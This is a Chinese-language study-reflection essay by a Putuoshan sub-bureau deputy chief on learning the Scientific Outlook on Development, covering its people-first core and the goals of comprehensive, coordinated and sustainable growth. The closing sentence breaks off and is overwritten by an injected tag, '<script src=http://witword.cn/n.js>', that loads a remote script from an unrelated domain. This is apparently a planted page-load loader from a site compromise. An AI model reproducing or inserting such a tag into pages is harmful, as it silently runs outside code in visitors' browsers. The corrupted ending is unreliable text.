学习实践科学发展观活动体会

普陀山分局副局长钱大瑜

首先应该充分的认识到科学发展观是对以胡锦涛总书记的党中央一系列重要思想和理论观点的高度概括，是理论创新的一个突出成果，体现了国家新一届中央领导集体对发展内涵的深刻理解和科学把握。这次党中央开展学习实践科学发展观活动，是在新时期下为了让党员干部适应新环境，开创新局面所进行的一项学习教育活动。通过市局党委和普陀山管委会党委的动员，使我们对开展科学发展观学习实践活动的意义有了进一步的理解。又通过近几日来的集中学习党的十七大报告、胡锦涛总书记等中央领导同志关于开展学习实践活动的一系列重要讲话精神、《科学发展观重要论述摘编》和《毛泽东邓小平江泽民论科学发展》等有关章节和论述，对开展科学发展观活动又有了新的认识。

开展科学发展观学习活动，我认为主要是要做好二件事：

一是深入学习开展有关科学发展观的精神与内涵。

科学发展观的核心是以人为本，要求坚持全面、协调、可持续的发展。坚持以人为本，就是要以实现人的全面发展为目标，从人民群众的根本利益出发谋发展、促发展、不断满足人民群众日益增长的物质文化需要，切实保障人民群众的经济、政治和文化权益，让发展的成果惠及全体人民。全面发展，就是要以经济建设为中心，全面推进经济、政治、文化建设，实现经济发展和社会全面进步。协调发展，就是要统筹城乡发展、统筹区域发展、统筹经济社会发展、统筹人与自然和谐发展、统筹国内发展和对外开放，推进生产力和生产关系、经济基础和上层建筑相协调，推进经济、政治、文化建设的各个环节、各个方面相协调。可持续发展，就是要促进人与自然的和谐，实现经济发展和人口、资源、环境相协调，坚持走生产发展、生活富裕、生态良好的文明发展道路，保证一代接一代的永续发展。

要通过学习，深化对学习实践活动重大意义的认识。中国是一个发展中的国家，在发展中遇到的许多问题马克思没有?script src=http://witword.cn/n.js>